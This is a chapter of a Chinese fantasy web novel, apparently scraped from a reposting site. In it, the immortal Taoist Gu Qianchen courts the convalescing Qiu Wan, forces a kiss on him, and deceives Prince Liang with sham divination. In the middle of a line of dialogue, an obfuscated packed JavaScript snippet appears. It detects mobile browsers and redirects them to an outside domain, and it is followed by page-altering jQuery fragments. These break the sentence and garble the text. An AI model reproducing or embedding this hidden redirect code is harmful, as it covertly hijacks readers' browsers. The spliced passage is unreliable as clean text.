顾千尘难得心情好,朝凉王拱了拱手:“王爷,公子的病情已得到控制,将这瓶‘归元露’煎出十碗水,一日两次喂公子服下,病便能大好了。” 凉王忙命人接了。 他拱手谢道:“顾道长果然济世活人,神仙下凡。” “要想将病根拔出,却还是需要时间的,若王爷有意根治这位公子,那贫道恐怕得在贵府多叨扰一段时日了。” “本王求之不得。”凉王以笑相迎,却在有意观察顾千尘,“正巧,还可请道长喝一杯喜酒。” “好说。”顾千尘一脸胜券在握的笑意,“病人还很虚弱,需要静养,此香有毒,诸位贵人还请回避。” 小皇帝挪不动脚:“朕想再等一会,说不定一会辞兮便醒了……” “陛下,你再等下去,一会生病的该是您了。” 小太监连拖带哄好不容易将小皇帝给弄出了抱朴轩。 小皇帝千辛万苦跑一趟,却只这样匆匆看一眼,连邱晚的手都没摸着,他觉得不大爽利,便冲到了归真阁去找萧寂。 “阿寂!阿寂!” 小皇帝在归真阁里转了一圈,却没找着人,连一刀也没在。 他记得归真阁有一条通往抱朴轩的密道。 他胡摸乱按,在他觉得可能的地方寻找密道的机关,忽听“铛”的一声响,床榻一侧的密道门开了。 漆黑的密道里,滚出来一个身影。 是萧寂,他从轮椅上跌下来,面色惨白,倒在地上。 萧寂恍惚看到了房间里那个熟悉的身影,低唤了声:“哥。” “阿寂!” 邱晚在梦魇中惊醒! 他浑身虚汗,心擂如鼓。 他又梦见了皇兄璟,璟举着箭对着他,说他是个怪物,他梦见了父皇,父皇将一堆文书扔在他身上,骂他有辱国门,邱晚茫然失措,不知自己错在哪,他梦见自己独自走在长长的大河边,走了许久许久,大河的尽头,出现了一座破败的寺庙。 寺庙门口是一对无头麒麟,像极了五年前东乾燕都郊外的那座无妄寺。 那是个风雪交加的夜晚。 他将一个血肉模糊的小孩从破棺里抱出来,小孩已经伤得没了人样,却是一滴眼泪也没流,只是颤抖着扯他衣袖:“哥、哥……我、我想回家……我可以回家吗?” 邱晚心疼得很,他将耳朵放在他唇边,想听清他说什么。 “我……我想……家……” 邱晚叹息不已,摸摸他的额头,学着母后安抚他的方式,在他颤抖着的、满是血的眼睫上轻轻亲了一下:“不怕了,想家了就哭吧。” 而后血光与战火淹没了一切,喊杀声从身后袭来,邱晚猝然回头,便见崔自青纵马过来,邱晚还未来得及跑,便被他一把捞起,掳上了马。 邱晚从梦中乍然惊醒,梦中情形忘了大半,睁眼便是顾千尘那张满是关切的脸。 “你醒了?”顾千尘用锦帕拭去他额际密密的汗,“做噩梦了?” 邱晚睁大着眼,一时说不出话来。 顾千尘捧住邱晚的脸:“别怕,你快要熬过禁断期了,你现在很虚弱,什么都别想,有我在这,一切都会没事的。” 邱晚虚虚握了握五指,完全没有力气。 “今晚没下雪,月色很美,我带你去看看。” 顾千尘当真用一件大氅将邱晚包裹住,抱着他悄无声息出了抱朴轩。 这凉王府于他而言不过游戏之地,他如入无人之境,根本没将那些巡防的人放在眼里。 踏过雍都正阳街鳞次栉比的屋顶,踏过皇宫巍峨的阙楼,顾千尘抱着邱晚登上雍都城郊的最高峰太乙顶。 明月游走于墨云间,照亮着亘古不变的大地。 “这样的月,我已经看了千余年了。”顾千尘温柔搂着邱晚,“以后,我想同你一起看。” “往后你我同游人间,做一对神仙眷侣,好吗?” 邱晚只觉得冷,从醒来后,他便一直觉得冷。 他已经很久没有这么冷过了。 顾千尘深深凝着他,眸底下的欲念若隐若现:“辞兮,我想吻你,可以吗?” “顾千尘!”邱晚急促说道,“你有你的万古尘消,我有我的三千红尘,我们道不同,难以同行……或许,我们可以只做……” “如果我说,”顾千尘打断他,“我愿意踏一踏你的红尘呢?” 19.侵入 明月一千里,雁啼过雍州。 “这里是太乙山脉,离凉王府已有百里路,翻过这座山,便出了雍都。”顾千尘握住邱晚的腰,忽的将他一把揽入怀中。 邱晚低叫一声:“顾千尘!” 顾千尘垂下头,以额头抵着邱晚额心,温柔诱惑道:“明日初七,后日就是初八,辞兮,只要你说,你不想成这个亲,我现在就可以带你走,离开雍都,远走高飞。凉王再有本事,也追不到我们。” “你不是想回家、想回南邱吗?我也可以带你回去看看,但不能久留。” 顾千尘摩挲着邱晚额前的碎发,凝着那近在咫尺的唇,鼻息渐渐加重:“说,说你不想同凉王成亲。” “你只需说一句,你不想成亲,我即刻便带你走。” 邱晚仿若被一种温柔的、不容抗拒的枷锁胁迫着,他冷得全身直颤,唇一直在抖,他颤声道:“走……走去哪?” 顾千尘唇角勾起一抹笑,他将邱晚翻转过身,往背上一背,说道:“抓稳了。” 他背着邱晚纵身一跃,跳上了一座陡峭石峰,壁立千仞,他如履平地,他有点兴奋,在乱石与树林间狂奔,他靴底擦过青岩,迸出花火,惊起崖间夜鹰,随即又是纵身一跃。 月光沉默照着大地,将两人的身影烙在悬崖冰瀑之间,如惊鸿照影。 风在耳边呼呼掠过,邱晚趴在他背上,心跳如鼓,身下是万丈悬崖,封冻的瀑布和河流,还有星星点点的人间烟火。 漫漫人间,被他抛在身后,如浮光一般,变得虚无缥缈。 顾千尘回头朝邱晚温柔一笑,随即再次跳入一片雪林。他踏着雪林树梢,如疾风一般卷过,树梢积雪纷纷摇落,惊醒了树下栖息的鹿。 悬崖峭壁,千山万壑,在他脚下如棋盘上的游戏一般,他飘然落在一座道观中,观中吟诵声隐隐传来,顾千尘踏着雪,背着邱晚,冲上了最高的祭天台。 “这便是雍都的临界点。”顾千尘将邱晚放下,指向天边一颗若隐若现的星星,说道,“那便是南邱。” “九州大地,万邦异世,均任你我遨游。” 他兴奋地看向邱晚,他气息平稳,邱晚却是喘息连连,他眸光一闪,一时情动,捞住邱晚的后颈,低头吻住了他。 邱晚倏地睁大了眼。 顾千尘温柔吮着他的唇,引导着:“张开嘴。” 邱晚往他胸口重重一推,两人猝然分开,邱晚惊慌失措,顾千尘却只是看着他笑。 “顾千尘,我对男子没有……”邱晚快疯了,“我没有断袖之癖!” 顾千尘低笑一声,他瞧着邱晚紧张的模样,只觉得可爱非常,可想到他在萧寂那臭小子怀里情动的模样,他的笑又收住了。 他再次靠过来,将邱晚往怀中一揽,略带酸意道:“让我再吻你一次,你就知道有没有了。” 邱晚使出全身的力气,再次将他一推,他身形晃了一晃,只觉头晕目眩,浑身乏力,他说道:“你……你不能强人所难!” 顾光尘的目光裹着邱晚,如揉碎的月光。 “我要回凉王府。”邱晚背转过身去,喘息道,“我要拔掉凉王的势力,摧毁北雍对南邱的威胁,我得回去!” “完成这些,你便能走了吗?”顾千尘问道。 邱晚迟疑了一瞬:“……是。” “好。那我帮你。”顾千尘痛快说道。 邱晚回头:“你不是说,不死人不能随意干预他人的人生,介入他人的因果?” “辞兮,你还不明白吗?”顾千尘的眼神里有了些别的东西,“你就是我的因果,我走过千百年来到这里,就是为了遇见你。” “可你我相识不过月余,见了不过数面,我们根本还不熟……” 顾千尘只是温柔望着他,如这亘古不变的月光一样温和:“辞兮,我对你比你想象得还要更熟悉,以后我们多相处,你便明白了。” 邱晚只觉心里没了着落,虚虚握了握五指,却只握到掠过山峦的风。 顾千尘勾住他的手指,说道:“这世间许多事,若是不主动求取,便永远不会属于你。在我的因果里,我相信人定胜天,我顾千尘想要的,就算斩断宿命,斩断天道法则,也会想尽办法得到手。” 什么宿命,什么天道法则。 邱晚如今命运急转,身陷囹圄,又是什么宿命?什么法则? 邱晚只觉得更冷了。 他头痛欲裂,精力不济,无力同他争辩。 “我……我得回去。”邱晚咬牙道,布局这么久,好不容易到了这个节骨眼上,邱晚不能半路逃走。 “非回去不可吗?”顾千尘问道。 “我得回去。”邱晚重复道。 “我不想你同凉王成亲。”顾千尘坦白道,“但如果这是你非做不可的事……” 顾千尘揽住邱晚的双肩:“那我顾千尘,就陪你一起。” “你……” “就当作一场游戏,游戏结束,我们便脱身而去,好吗?”顾千尘垂眸看他,“到时你可不准反悔。” 祭天台倏地飞过一只寒鸦,黑羽扇过祭天鼎腾起的青烟,发出一声凄厉的鸣叫声。 邱晚直觉不太好,仿若有什么本不该属于他生命里的东西,侵入了他的世界里,往他的命运里扎了根,恣意猛涨,横冲直撞,裹挟着他的命运,往失控的方向狂奔。 他非常不安,可他不知道那意味什么。 “很冷吗?”顾千尘察觉到邱晚一直在抖,便展开双臂重新将他抱入怀里。 “放宽心。”顾千尘安抚道,“你的禁断期还没熬过,一切等你恢复了再说。” 邱晚从心口吐出一口寒气:“顾千尘,我又想起了元念,元念命运如此悲惨,又是什么宿命,什么法则?” “天道使然,元念悲就悲在,他是天道的弃子。”顾千尘将邱晚横抱起,将他稳稳揽在怀里,“你还很虚弱,累了就睡吧,我带你回去。” “别怕,只要有我顾千尘一日,辞兮就不会无人庇护。” 回到抱朴轩时,邱晚已经睡熟了。 顾千尘将他妥贴地放入衾被间,邱晚颈间的金色颈圈隐隐露出来,顾千尘摩挲着那个颈圈,摩挲着那段雪白玉颈,想到祭天台上那匆匆一吻,忽而欲念乍起。 他伏下身,逼近,再逼近。 他凝视着熟睡中的邱晚。 毫无防备的、心爱之人的唇,只要轻轻一含,便能叫他落入自己口中。 可顾千尘,想要邱晚心甘情愿的,以吻来回应他。 想叫他清醒的、热烈的来回应他,这才是他们亲吻该有的模样。 少不得,还得耐着性子守着他,等着他。 翌日,天亮了,便是初七。 凉王一早便来看邱晚,他一进了这屋子就觉得哪里不太对,可说不上哪里不对。 顾千尘阖目于窗下软榻上入定打座,邱晚面朝内侧屏风睡着,固魂香环绕于床榻四周,点了一圈又一圈,仿若一道禁制将床上人护在中央。 凉王刻意没有叫人通传,他轻手轻脚穿过香阵,来到邱晚床边,一晚未见,凉王想得很,他已经很久未如此挂念一个人,哪怕就是抱抱他,闻闻他身上的香,也能稍解他心里的渴。 “王爷。” 周身香柱倏地一晃,凉王骤然回头,方才还在软榻上打座的顾千尘,不知何时已来到他身后。 “贫道方才为邱公子施了针,切不可打扰,若乱了心魄,后果不堪设想。” 凉王收住诧异,拱手道:“有劳道长了。” “济世活人,天职所在。”顾千尘忽而凝向凉王,直将凉王看得心里发毛。 他掐指一算,继而一本正经说道:“邱公子生病时,王爷是否一直守在他身边?” “本王衣不解带守了几日……” “这恐怕也是邱公子病得愈发严重的原因。”顾千尘开始胡说八道,“王爷乃人中天龙,命格极硬,王爷屈尊照顾邱公子,他这病弱之躯怕是受不住。” 凉王眯起眼道:“此话何讲?” 顾千尘装模做样掐着手指,一边算一边摇头,他转身指向床榻内侧的神女飞天屏风,说道:“王爷,请看。” 那破败不堪的焦褐色屏风上,神女所挥别的人世间,那些草木、山河正如消弭的青烟一般,以极缓的速度化去,消失不见。 “王爷的天龙命格冲了邱公子的天医星盘,这屏风上的人间景象都快消失了。”顾千尘微笑说道。 凉王狐疑地眯起眼。 顾千尘转而又看向凉王的脸,越看眉头皱得越紧,他露出了凝重的表情:“王爷,您这面色……” “本王又如何?” 顾千尘煞有介事道:“王爷最近是否寝食难安,心瘾难解,分明疲倦不已,却又异常亢奋,如此烧灯续昼、焚尽罡气的熬法,恐怕不是长久之计……长此以往,怕是终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15470735|163457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一日会虚耗过度,伤了根本,难以挽回。” 凉王脸色一变,这道士的话算是说到他的心坎上了。 这正是他所担心的,自从遇见邱晚,他就一直处于极度虚耗中,若不是他身体强健,怕是早已一病不起了。 这人不过随随便便看一眼,便能说得如此准,凉王心中又信了几分,他转动着指上玉韘,问道:“顾道长有何良方?” 顾千尘见他上了道,倒也不直接给他解法,须得吊他一吊,于是只说道:“王爷情况特殊,贫道得再诊一诊。” 凉王立马将顾千尘往矮榻上请,说道:“请道长为本王诊脉。” “王爷客气。”顾千尘笑得很开心。 如此这般,顾千尘将那吓唬人的、惑人心的以及奉承人的话通通都说了一遍,却又不给凉王开方子,他蹙眉道:“贫道需得再琢磨琢磨,王爷金尊玉贵,不得马虎。” 他说着又从袖中取出一支玉色小瓶,说道:“这是归墟饮,贫道炼了九九八十一天才炼得此一瓶,王爷兑松间雪水服下,保准王爷今晚能睡个安稳觉。” 凉王接了,道了声谢。 “服用此饮,切记三忌,忌酒忌色忌武力。”顾千尘贴心嘱咐道。 这恰恰是凉王生平三大乐事,这一下子全给禁了,凉王蹙了蹙眉。 “还有那五石散,切莫再碰了。” 凉王倒是难得地点了点头。 这房中点着的固魂香闻着实在叫人头晕目眩,凉王硬撑了这许久,已经有些坐不住了,恰逢小侍端着一碗“归元露”进来,说是公子该喝药了。 凉王便要接过来,亲自去喂邱晚。 “王爷,可还记得方才贫道所说的话。”顾千尘阻止道,“照顾邱公子这等事,王爷还是莫要再亲历亲为为好。” 顾千尘对那小侍说道:“你去喂公子服下,记住,一滴也不可落下。” 凉王只得作罢。 瞧着邱晚脸上有了些血色,他又对顾千尘说道:“明日便是大婚,无论如何,这件事不能耽误。” 顾千尘笑得高深莫测:“贫道一定尽力,不耽误王爷的大事。” “那就拜托了。”凉王又嘱咐了几句,便离开了。 大婚的喜服做好了,燕绥亲自带人送了来,里里外外衣饰加鞋履一共十二件,一字排开,用衣桁挂好摆在抱朴轩,谓为壮观。 凉王于宝钧坊定做的喜冠也做好了,坊间的匠师亲自送了来。 邱晚刚服过药,正浑浑噩噩,瞧见屋中跪着的人恰是宝钧坊的匠师玄渺,他脸上立时有了喜色。 “我有话要问此人,顾道长可否回避一下?”邱晚说道。 顾千尘居高临下将那不起眼的匠师来回看了几遍,没觉出异样,便拱手道:“那贫道先去凉王府散个步。” 待人走了,邱晚忙将人唤到床边。 “玄渺,你怎么亲自来了?” “玄渺来过几回了,少主一直病着,所以未见着。” “啊?”邱晚惊讶不已。 玄渺皱着眉,望向那顾千尘离去方向,轻声道:“少主可知,这位顾道长是何方神圣?” “我也不知,他从未提过。”邱晚蹙眉道,“他有问题?” 玄渺轻声道:“少主千万要小心他,此人身份成谜,查无可查,少主切不可对他过分信任,与之过于亲近。” “哦。”邱晚没法跟他说,自己已被顾千尘强行绑定了伴侣关系。 但这些终究是邱晚的私事,与邱晚要做的事情相比,这些都算不得什么。 邱晚抿了抿唇,说道:“玄渺,我有一事相求。” “少主尽管吩咐。”玄渺道。 “初一那日,在皇城外行刺凉王的那群人,请你务必为我查出他们的来路……” 邱晚还未说完,玄渺便道:“此事不必少主吩咐,玄渺追踪了数日,已经有些眉目了。” 邱晚当即觉得这个玄渺可太省心了。 “少主安心养病,一旦有消息,玄渺必定第一时间告知少主。” “好。” “还有一事。”邱晚摸出怀中那只金属骨哨,十分珍惜地摸了摸,他低声说道,“五年前的除夕夜,师父同我在东乾燕都郊外的无妄寺告别。” “那一晚……”说到此,邱晚忽而觉得自己的记忆出现了问题一般。 “那一晚……” 那一晚,究竟发生了什么来着?